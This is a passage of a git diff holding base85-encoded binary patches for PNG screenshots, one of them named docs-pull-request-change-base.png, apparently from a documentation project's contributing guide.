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
asr2F2k>O5&{PADWoU($3e1+`0PyY|qnokY@

diff --git a/_images/contributing/docs-pull-request-change-base.png b/_images/contributing/docs-pull-request-change-base.png
index d824e8ef1bc507beaf51bf95fbee20093dc44dff..791901b8ec64b5f5973eabb57b5cde91678b35d4 100644
GIT binary patch
literal 17589
zcmeHv1yo(lmgc#*1=rv~gG=z>!9BPI$VGx%f^#nx+zD<865Kry+zAjoxNC6N%aHu<
z@7Fy&-P6<Wz3EwNx^}H|&)#R3eS4RjDh~HQ?w0^;d1*Om00aU6&;tSYvp@iV@(@r_
zP|?s(A7Nr(KElJn#>T-T!zX+oGG<ar(uc@Q&qhZ>$438xhn=10g|dW*gtC#Qrje_o
zYg*a}=x@#7z8%0p0sN3p;XzLTI2;f>4(PrUV1KCQ9|8C?AiyIc!GVx}N&gi6@e6{x
zp8+u7K>!>!JobYKM!^^TFE#$|oT~j<)Ou<;>HoKcJHg5Y3;TsD0d5&K`+uHpsST)K
zQT<73{O`)1kBvq>JIx*xW;{`m|2G*0P~Su0BE#<&bI?2gX1WJZv{AH!iT<QpoRsAM
zP@`_CEt3$c2Q@w!KUUxJOn?gAp4Vg!rK~ejYW1ld!ev%+{PsOWkF@h-pI^7amTNu$
zvU4B++=x&V^*_kA($<}RJ+U6%avoOd+;bGe%wu`rS-)=*;C@Lf2gsWl-kgY0T6C24
z0=ncuOUN4Q0DxJ>_@F~Bnef^9@K@?T0_I4Ux0lZ!g#h^D&cCGBS0wfcJ*|Hz0DztG
z^%Z8IsWD^ux(^@<uH-<qN=SxE`B?sZo>*N*unqp1m%e#X&*hu@a@-5PYS+uvrQxe`
zWZ&A2ke)lm-aUZqv)8kjfSH(fe(tV3MiW0#s~$JL5I1z@65SqRD<C}F+vil8yL<(U
z5){5o?@B}W#zNV#=&ui(a$n}_dE?x|LzbCQ580f4eh=Wa>_?%FtiZ@^8s=B*lRRY5
zN4%Z;8ourytuz@`ZKpwPhd+dsj31jqqDJolF19Lm9Vq@;hISr%(GlbxxcZ3H1Pgk8
z+VpA)9|D79PI#5MSPMXf52{joPFF;*Do+LmRt#Tw!l2;e;Wg-3Q(e8l;vlsA9v~B*
z5nmHUH7sR+fc6>|cRO{>li?vxEg+#8^8*69!@AmR5NYsci%*Mm%@0VVRPPsT>4)Y*
zd5kQDbH)<4MC9D~JizhoMdd1#SxJ{mr_E??GuJe62wx}Gmq$-VhE7F1udg;8?sjy0
zf0jJof0cN8A`&Ktg-BU+nK*GM$ft|NJo8#ElW8^PM^!ykbbI^Q4f-x~I-J5!-S@}o
zg3iurUrx`&Vc<&-j6S-2Cy1wG=CCkU*3Zl)gReN0X?61y_Cd8WMpskkqU&_?!$fz)
zhtFFU`@}A1$)kLPq0ulOr@D0yk5yfb?F(|6)syUF_t}!&42VJv$ErsQZBrR|<sQhV
z6j85Pl%<FpARGEtk@)uV_9YwE>6Nm~M;Q1{P&C!E40JH5LbT;|h`j3}4PxciWYmEl
zb+6cGINCXd8T&jdlppr7{jn74;l&A+^x@q-M4pHaat#o?TO?#^31`|qd_UbUm~!+U
zs)nVBjBNzCGOS1aq#P(G+Wtn)$Ke7Ip!vLkwRM|GCQLMyN)C0tZPGnM`4TBxRkZnj
z##u(;TIN{o=919mwzaBpJ#ZmxAnZ%C0{}cexh6XqJ@PbA#oXn<>^5kd-S{Td)bPFn
zdE$0?VjWo}2>|vSJ!Mkhf3CfA7lZ5F6$QTFxPAjyL_Kpc^Ks=jdD{?qw;=0*Nz{69
z<U|hhf=mBM;UB}1J$)&zHFt<e@!(snJKC+}=$G(yq8y@7WQB_);b&yNkhHe3#$n8G
z_eb7!0pyqN9oJLG-w+qQmPegsoa~IZ8~m?bPqzHMkn>hLg;mlzJtFb_$FHER0Q~8&
zfvX6x?JOhtO0@x{0p)_iGg?sp=>6D=(A-wgVl&K3Sd@@@hd&0hPGKN2@Fix@b8-=5
z;GcKVhc3((V06W>{Zj2OWYk`rnJXvtpCzM82!1z(|HZKC+n1rS|C%BbH%T7~1=Z4g
zIw6|=r&9kc{crr$9(T`d9AdwX+A3iD-%-(ysK0?2s%1)nMC(J1{(&JO)@a1|ADI6`
z*3gFq4j(oELV$w@KydI#2uKf$7XTiBLqG)KA>rZ^U{fJ;Kf|Hs;N;>Z<PmcqdP2vi
zYD_~b9{sS;L3vpIfKY&Y;1U#w!QW#q?s)r^{#6{iTw>0^sM$8xX|jjne+&M<$3wh1
z#xcB?f;(+}ddL|D>$nrU2No}(`IJY2gv<5rLRFLljoL1ydxkTOHLh0s6Z1v?c$UZI
ze^pTV$!$NG$=4r6*7{F#V`z8@+U`amW<?u%&Hu-j3KIkSd8YoFiWHh27)tkw(4%e+
zLdfp_t@iy}K$@2h{;y#kz6V|rijwqxe;;cGR)9Kt{#!Zx?+o?N^5;jt2V7+N9!=Xp
z9@aUkqSX>lgGWL&y|$9<OaY{5a|C+4*4OXv0WjzEUOOAq`s5zS4ZGN6xz@FKftFu<
z52)#<AF{q~xum{p^K3bjZe(@g4tdm}cx#e*++(qO4|I@TypO!0hJA$EV^NXt4|*r&
z;B!q|b_~Coi`MmeC2YxSszt^I>L<FBy2^e5tGhGlqV1!O6gUin(|w(Ihd^wW&ZzdD
ztyV*K_<bx&7DU=;Rbn~ec<Ht4B9fo!PG2p}O(5TgaN<4w_vso~re#Z-S`?EGpWwW>
z+LGMf!-%0gEee_I>gReIaz#{0(52S0WH4RDr)iBJngo6+pCsZ1Wml!Daw`iQQib+E
z!&2?b!R{0zl|yM~;Sq7(es>~}-ZNZNZP|?BFQr*Z+2P-zXoa7ZKFLz?k|id6B6Li%
z;2*x8k$;-#goaXPFVoQCc4^jF#Qj=jNitL}cD0NAt43%@SrE--Y>V(u%4o_noK?A4
zCC7!Hh<)&cq2(R}5;j9S3u;iXeU45gUAj+{g_7CJWnR}gqp{W9pljc|Pq!nb7T1@3
zrOsqid|_YLnk*@;VU{N6=qJ)4clOsu2PgSx3y+XkLiI`eS+x73d~S^hB9~=^BjB@U
zd;Fe^9R*jCB8lZ!dIpI{&Oq37*?a`P4<PAg6Ge=5ReOETcxTIZ4`2wcs2}CClj&CG
zJ7Vt8^7Uu0zU#S*V}DZt#4Hj$d;87@tAAdVi-M*%(BqY`{zq=u6RLyP(vQ64x0+JK
z<obgQwsS^O1O;1>*X{D(qvNb~rS@FzIj6|E=amVQg&aLCSdlAD7c^y3?axmX=&y@Z
zhl|#_;3FV=3j~R@BsyMJ9|XucUrxLw#@DxSjHJ}$P)rvJbxZ-9)@rBOWfhv4ob-|Q
zz|d-9i`=>ttzu@33>-sy#&2urpoCfM6d~5U(8r(Rq&)@o<xwzJRc)8LKl&`td%8P8
zw_Acn0wTIE2U*;b8th3wcHPP*#fvRF*$11rP4Hb-3X3Io^ZT<HX(>8JGQ;Up>2zin
z<gLFBW6r?LsXPg63_nVFGg9H+d)aF3h-=C$!rEDg_C)#XswPiYVG^6Z*kj99GCLJ<
zxC8=gz4|;-vp!|r=N?sI=5tO=s1o|kMsF~%q7DmUjr0jyg1^OicywSzIW$ye8sa7f
zn;X`I%O!tap2W%Vaw=HCD_L1lRJn9?%j-Cjr?t5QU6ouL+yhD~Q<TH#(H#Zu;`IGH
zp;Xjp?ac(XC?7*LBPMA1zx#@So-+P~r(D~$Z0#HIeI*a!L0k>tolN9lc~8n0|D=dN
zfXATQQJzqqeMRM}m_3&xsGAYpk>-eG+Ql+GVU@&%Gui>&5=7z$0ojt#a;AryOm~ZX
zSnQwO>2BD!*4LK5&M%G49dmjb<URxwc-!4DeI0f>eZ#+nNE0!Hqbnr^#=k1g%|^)Y
zPUjzw$NQKeB_(XDo1LN=@I^kEAShE?NeZLf2n-g-%!d>Z6qfqcY6_Y6kqf_zPioWY
zhj6px1Q8|#zqDCzPhxt-9YTTJ64lo=++FwVR>#Q^w6VHL&|BmrpTYK2*GFE@fpEpt
z;0UMHWNkT?*?71H-|E}gkx5@C@-1fAl6G%p{%TEqbo-ooN0dIA7vESXGP&uA?#n;|
z8v$EQuU9+6MZP9Ij0H<_=X#EpfAJIlNJdY0o0U@nY;ejw5Ob7N{t0fhD)xJOk*~@V
z(bl$ySJ;(#p^&4bnsOF~=@le~-cC>*CJkxoUtD4RxfS^v6UDMFb~K+>H17lAM}}Qq
zF3PK9B8A4ug0A?h&$|0;8dM%f>0HwJ?DKV7`jXToHaU?i&YV2Er6*fnJ5}GYDKZ+h
zz`X~y9E*PP5Jjqqe-1HwXQ|SYO<1d_{D+TOW3p-^+(Ky99(o5{TMS+Q%G|58d!TZ3
zHBv)ezpXRFGW7XWhiQG<>)7UEyt0G(P8=<+g){^0D6Uw<oS%_AiaXC|#~ubLoToo+
znft`y_;AgN-*@MyyP9NkSk?#H(F7thmkB3w9Qias--|~JZo3#ro9ee}1<ZNAZ+~E=
zmb)xy36v>i+J((a)M-{&vi<R!%ng4mY_%M&9O-M~7HYjt{K<T>P;mvid7`QvS`k-b
zlmD@{j*us7^{m3Wi)m&ukntl|d%YJVJ>Jn`0QxxR1k;m#M9VxUf#AE_o=G7{M4|pn
zqaHa%Q(afftvk--NoeteMY=9>lqT*+LfkC1wu%Z*YNV(rWk+A6&xv>z8PscGK(q-s
z_^4jnr=oAgafnoS%@?;ZD&#_@tRkYv?OjzAZk?}88DjXSg#F6e_Ny2s^qzVH0r=8*
zP1$Q@M<iYwEB+XEOp>|C)MZ;rJha3(u7v!Ru*>-C&}xuzH}UaeM^PRa(*}lRW{4k~
z>#cC@<sJQdqIB;@`L>xT&1v50$!4jdW!CwTa^zr`y6m|EJbtDc<jsg^$-{gt410&@
zWaWuB%iq=z&cGd|MIn3ZEQLwLU>a+v#mj9r`23SZO$h?iz5)}YH*Z8mZ*ng>Rc+w6
z41zls=BOm&h5!lu-ZYY{H@hm&6W>N8_ZQk=nRfWi50;gF1YMcgOsmuMMOZO(t;T<s
zy_#(A1?$O{1R=+1x`$*=4<43DyqSx_Lmyx^?@y*swAL~wA}tMs*kAt$3zjoiVFKBc
z9zEk^=0GbrrcN=Ae?Fw3FO6*RL31M3hqogSxMC+M1G%$CRVBT^gW^DkU$o$giWE2<
z>_u`lB%WV9HV7pPi{zB|xUSF3Th_YD6ot)em9pMt_7P!1ShnpL7r&i+eAWaJ74>{^
z9a^!`5hIT9ruMe~3&Ha*4HLUzm>QP`@s5^J>EC8qFYkeR^bhxd$GVfzK_Nl^w^nDd
zq_q8vZrcF4=mX@G1!^@ol@(>@V^yLju%3^aF+F`xx0IEo+!K$B2P|%12rge;p@~SM
zcrp3S@GNGjQ1GYrH$3zD?wI<~iLudovy+ddF|v0~@N^P0BtsZ0dP;Y?vXYqENnF7;
zt|DBBze~8Y-#sFZG{(8ilvlds+W$oVv;mfqSt^=A#8HyW-23JjkcUw$$$jIWh>s2<
zjW%vr^_fjh<a`0>3<MeKx~foV9n%Lw^hA_zp5jskDqc^=uNkkaiJ-GCi+C4Y+J0M>
z6<xt*GWdpHk{zSVRXj!HRBtvSarJy(Sm=|C*ZZypxq=9v)DOpT2C39olc`tw-g>(=
zKb)=Xs;o&l1_V2z#iEzUrxFhA^bYb{R5B}zZX`w=pc6_O<^z`lKTw=YPJ5}gKfWNK
zu;FMYOY`VkH%0|_!Z9|<e=!wTVhLE>4JySpsa0$<e_mvxI4;PQ)RZu|Y4+$dyJPql
zW6pt;Zv$D?-pdZN7rlH`K8)}&PfTmuYjOio3{pCQ712%Z36wtM7;LB95j~N^dfSjd
zn6?J*vHhYuj~aNL@$;lbVlP+$x9O!-URO8?z0P`dT}1_<Z5>(+?o$TI<>9V$)-KYk
z4>41rv1wjAm9`1id14jlJN3Y_;<_rm&UeQX$#kR_SRLQsWVm6AtMX9^gc%gCYd2$K
ze{%e|2RhR>*FG|fajD?1eDwa{qR|(DR+b7|j9;a!J0iM0RXCzK*@@pyLW?AR?WF4r
zyjhRvmvd!%WFW`M@3Zqov2LxY8DXYpQnKzI$a9d-4@Fpz(^bK#bdOL1Gnwf6Rq|ia
z34{6sdlrYESdjJHG(c#fX)hk;-czr45Ne1L+J=LffwuZ!S*O#u!_(L4y$|CqBZ16a
zOT7V@lCPV^(r`F8BFOh85`-!}9ITB|Ya21&Mk(IS=G&WX``pL>2w#`|$*Q)@+RL}o
zDxsL_J*#msjzw|DPX)mv^BTvDN6S(Itean&caDjvW`{yi@Yc2a$?|KBg7vMsdzGEj
zb{iITjWW)nda<Uhu}?1dBv&5$*?3GTi_(XBGHO<STB0po;X-Emd83yudP61u%QbjO
zHXOEAkcoom>j`l`tG5O-@#&ZZ2=Jf94RGJE;Vzq-Hv+H88om0Q5p>k|Y|X2sNIPZ1
zGlRf=CWcXD`Vn(IYgE+B+M096vtyYNeIMNOy4{)`BOR@ZUg#~nz4*3fV6}D|s+=MZ
zR(EFF`ut@G+Ko%}EMsS1(~z^_R#L<<&07?=MWk%IOCZvkb2Yu!9lxl-aPf?N`{-Qq
zP7Jn1meJ4Hjo4QfU@n4Tm5SD((Oe0ot_pb?^Q7ZC?2n~wPxPB^lJ+45m!6o*7%q+M
z4e|6owmGseZkA0Y#sM0#j1%~+Dyn^v+s(KIQ*XSq&4!`3%uma?6uZRN62<Ud^m3!<
zCpnqT9h1cDVI|>i$fww(C<@)YF=>@#vnlvIPy0M!>q+bEvHI7D<T#}d?z#zbiM;B5
zt$jgITMT{_Gv!2%*&OAHWaD!YZPGAwM4KzVbGOP0cO7)OrC=RD&8EnWVvj6cLp{BQ
z<WxnENOpB5iPOxnZ7p8s;$i>6%KD1xUT0pzui-x`UiT(Df(4)J99y&R6*`=ER5exC
z4hZMeSI{{W84)gY(+Y63b#$of@y-prH$@jQetIHcaIVsvV$!ib=STb)WPDs&+z~S6
zQZr%j=4~|9aH0`iY?jxD#po+Uwtkzw=4o7eR=OdCli~7*x0_M3)^+WgrB1h#;yfL>
z(}Bvm@*2hgUa7C)Nt{b5v|pN^DscJ?Ij3z3s9Jn0i=M_o{nkK@^2F>Mk5Y)cQrWT(
zg)EF(z{i|SYQrl!tG5cN|DF3qXX*g^Ca9Hf4r|bUbo1H@GJM3kFo&aDnQnakMML2?
zs!vw>HJ}2kPRzmWtwBtt$?yA2kz)-3B|LO4wHyyQ!EV#zXR&dH35}Rt@ip%Yk}RwC
zOIQLxiduYxydK^y@Ayt<y(65HHX3UAaEoQggKiM7z3%)fQ;5w1`FYiig%85eyn5;S
zXcU`kQdoiyZFj8?H@X?9>X|Wn+N#oDZJM*W(@n~*cypTZbtExLQOUNW-e&Br4sdsx
z^+btCu0ccC5a%TOP*zNndl(yAuUR+dzd}RVxkN(g(zYz9TTx@dl;25eo%66w<094E
zeNQElX}Kz%#^z+`E;t|UYEAg_GNe8|q03NM(^H8j=8QPSZxAPW!A9{oWu$h)a3XGx
zWnJ-|J$+*_W^gTUEn#5W=P4)8{_pN918dsqPnv0y>j=5CyQAp90^N>jy81u#KA5F>
zhCSuTZsQdQqUrP|PWH4FI6|fG9(tF2=w7Q$$eWC5K2TSYO30#%EugvQ<<b+yHq&qO
zSs@ynAx@@_7(pG-<J`y?yWSRs*%-H=6$FX^+k)Rn$J)rfGkBQ*22dHIs9s9(_S<Yj
z`gpaf_Aok>GVQ^py}QXKj$jL)*Jc(p^@S8txI-KL<KbS@e1u#dd;E-NfA}>`bga1L
z<wT@fYH^2{2r5=G9%JFJ@<00KPE!6&&^us&ge{K6U^o_qA5Vqq7~>?#Yd98zAJ6;5
z8`250?0dx$#rAvPdRsQ^(X)oU>uV1-3gUhCQ|_F^zVOk+2P9L+JYD5-PeaB@brpP0
z^wg&f{=otSAHH|6aBhrLTy_$6r+QlQ>zRtzRg`t45~uks6$??^JS_|8RR#@`6>}){
z*@Zuk_+Cse#-@ND;4XWN7x+UmMAvIfDCw9_W+aJ_+d3))d-2;9O@BMRjuP3FGI{!X
zZf%sqRVFRA1HIp5D;`YDB9-Yyk0NV)&W&XC2_!+ASE~Up&%5i6SETpX=9f(74{0+z
z%JQgtV6@{VB>ax`9@uy!&I!xPhN;fRiMA0PL>}C!6W=v-<EO#KzJf1$h+t$bUxXZg
z4RZHDcu)0UH{lCKR(rjLny=O#lV>GA^(X5}{)^aRlw>JS>2DQ<Uo^m-gKs-t>V{o;
znZ;fX&>bZxtg<9_>#~Pe8j+YbbM^g4#o{?t>?alRkDn`QOTthT0)_a8iZ?H+{tFxV
z?}CdYl~&DvSNePK13g}x=~+{Ox&0liQjE@jcfjdz0WO=Q+(Ewe!cT(f%h$%+GR<gK
z7g=hJmgGLLF}6>BNd1-lpPv4MSY2xFTiB;~M#{M3+OTz7qW&57_-Z5OH_cijUL{#q
z`cnT<@nel_nCs!;Cg0V+Y}KFjCLCqW`PXg!^XXq8_{XwFRanl@gg?OkRnmVNY_lQP
zliz!m2e+c*Sa<h8&~?l`(6ab&5+jQZz`=pwK?sPb2*}6?4@WT|H~=080XOCoA~k0$
zp19h}IBa~XCtT_#j=mfc6_rRd8k$aiZM0&>uN|sJRNFg73An+39?hVNJ{-;50;-b`
z5jbp7Dw<QAYm_?#h@Yr9<;SS+GF$&G_-{Or`}T(MrtSfw7Ru#^>peiZd}D9q*ROs?
z60g1fe=&9zHq&VyF_ndAddU~9Xd2-bUdC(xjl#dy|3lsuC#H7(70aofUi0jA--Y&3
zdYl}^*;RS+v~cPngXy__YkJ&t3!ICJ`7P={NF+;fMp7JNQm0`51F9qP6Czrr)H7qI
zdG%i!|IU#A)nX7`&3_i<9g#@quY`P#xXPh~e}h~7HUEFdO%gPXenl$vJxZA)7^QTr
zt39Gxta<WJ<kpyZ?8b&xIIy>!S_==qsLZ5TM(M#Ndz&vMgA+Ob*A~L6yUnjiX$vj>
z+BfXDv(RNDo4XacJJC}p_ADf5^;RTA&3YoVFLBDYv}eS2o9J=vA^2usS66+i2+Q1P
zru8C5WWuf&%ENz6ahP#*B_C8#j_xLrJ4V7JN4_e$Pbc|98J!GsIVo!(P^f6Yf<}0>
zR)&J9)lXFN#&v8=PHA<t0ikRQYs^C{g4gwc7FTSD2)N^6*>BUp(iLu1c-!WL)VkKJ
zva3tjgCXuDai^B4%2806$Jph?C2D&&EA!o|@7)|PE;N|3GH2QnVGjXwd5>OgD}Bl-
zqJNrlonbA1+W9UXPh~5@=fm~RbkC*SHFUo24v}To0XU!?z^?h2?%(Bj3OTtG@t<VM
z4K|jWbBw}-q)vXWK{%jwgNeZgf4&T<KcL0*>3`KDA&J%og^$u8rn$Q+dKrH}-!8U=
zLA4YUvjj=q-pSXnodrj)iw*C}2Yu-(QE-FnAwT+QO(0H(O7rN-_r|ClI(Q3RV62?#
zcA3nL6s5*5Dxm%ljx7@`N<&pS_=8Q>s1RM^bAP5aK_4Znl3A$(fwW@w2q}p9EWRr0
zFzyugP|II7iE3h)gBFBK!bi&lKjCB<FnR55I=shw4{-ir1<0}0oIYeUzZnfckMl8W
z$T|tI5J5iTesylJ<o#AaRb>qYxBca<jrkdzgENnISTBi_1Bm-&f(FuwQ?ztnQQamD
zjf<Dg+oXBjZW&+XCgLGpruZ4}D%A^Xr8cZa9v5;+P`$qoYNTG+u3_<Wm$;DPYWo}1
zU5c@48D2H0lgE&G?wzoI8@F$30_oeSX#BWXbS0(kpF~254KF4=^jHP3^dkl?O%?2T
zv-3Xo&DVbzu;VNd+^B)i+g~akZ^<inWAIs0P)bn<2I68-Q;On=P1FTwVSc2K;)P7{
